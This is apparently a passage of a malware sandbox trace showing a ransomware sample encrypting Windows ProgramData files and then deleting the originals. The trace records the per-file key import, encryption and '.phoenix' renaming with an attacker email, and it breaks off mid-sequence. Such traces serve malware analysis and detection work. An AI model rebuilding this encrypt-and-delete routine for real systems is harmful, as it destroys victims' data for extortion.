	[0247.212] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0247.212] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.212] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa51, lpOverlapped=0x0) returned 1
	[0247.276] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60, dwBufLen=0xa60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60) returned 1
	[0247.276] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa60, lpOverlapped=0x0) returned 1
	[0247.277] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0247.277] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.277] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.277] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.277] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.277] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.277] CloseHandle (hObject=0x2d8) returned 1
	[0247.277] CloseHandle (hObject=0x2c4) returned 1
	[0247.277] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml")) returned 1
	[0247.278] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.278] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.278] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2794) returned 1
	[0247.278] CloseHandle (hObject=0x2c4) returned 1
	[0247.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml")) returned 0x20
	[0247.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.279] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.279] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.279] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.279] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.279] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0247.279] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.279] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xaea, lpOverlapped=0x0) returned 1
	[0247.301] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xaf0) returned 1
	[0247.301] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xaf0, lpOverlapped=0x0) returned 1
	[0247.302] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0247.302] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.302] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.302] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.302] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.302] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.302] CloseHandle (hObject=0x2c4) returned 1
	[0247.302] CloseHandle (hObject=0x2d8) returned 1
	[0247.302] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml")) returned 1
	[0247.303] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.303] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.310] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3185) returned 1
	[0247.310] CloseHandle (hObject=0x2d8) returned 1
	[0247.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml")) returned 0x20
	[0247.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.310] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.310] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.310] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.311] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.311] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0247.311] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.311] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc71, lpOverlapped=0x0) returned 1
	[0247.399] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80, dwBufLen=0xc80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80) returned 1
	[0247.399] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc80, lpOverlapped=0x0) returned 1
	[0247.401] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0247.401] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.401] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.401] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.401] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.401] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.401] CloseHandle (hObject=0x2d8) returned 1
	[0247.401] CloseHandle (hObject=0x2c4) returned 1
	[0247.401] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml")) returned 1
	[0247.402] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.402] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.403] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3218) returned 1
	[0247.403] CloseHandle (hObject=0x2c4) returned 1
	[0247.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml")) returned 0x20
	[0247.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.403] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.403] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.403] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.403] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.404] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151280) returned 1
	[0247.404] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.404] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc92, lpOverlapped=0x0) returned 1
	[0247.418] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0, dwBufLen=0xca0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0) returned 1
	[0247.418] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xca0, lpOverlapped=0x0) returned 1
	[0247.419] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0247.419] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.419] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.419] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.419] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.419] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.419] CloseHandle (hObject=0x2c4) returned 1
	[0247.419] CloseHandle (hObject=0x2d8) returned 1
	[0247.419] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\f428c4e6-787a-08fa-4d5a-e12a3034aa02.xml")) returned 1
	[0247.420] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.420] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\tokens.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.420] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=903280) returned 1
	[0247.421] CloseHandle (hObject=0x2d8) returned 1
	[0247.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\tokens.dat")) returned 0x2020
	[0247.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\tokens.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\tokens.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.421] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\tokens.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.421] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.421] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.421] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\tokens.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\tokens.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.492] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151680) returned 1
	[0247.492] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.492] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdc870, lpOverlapped=0x0) returned 1
	[0247.513] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xdc880, dwBufLen=0xdc880 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xdc880) returned 1
	[0247.514] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xdc880, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xdc880, lpOverlapped=0x0) returned 1
	[0247.537] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0247.537] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.537] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0247.537] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.537] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0247.537] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.537] CloseHandle (hObject=0x2d8) returned 1
	[0247.537] CloseHandle (hObject=0x2c4) returned 1
	[0247.538] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\tokens.dat")) returned 1
	[0247.546] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.547] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.601] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=15502) returned 1
	[0247.601] CloseHandle (hObject=0x2b4) returned 1
	[0247.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml")) returned 0x20
	[0247.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.601] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.601] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.601] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.601] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.606] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0247.606] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.606] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3c8e, lpOverlapped=0x0) returned 1
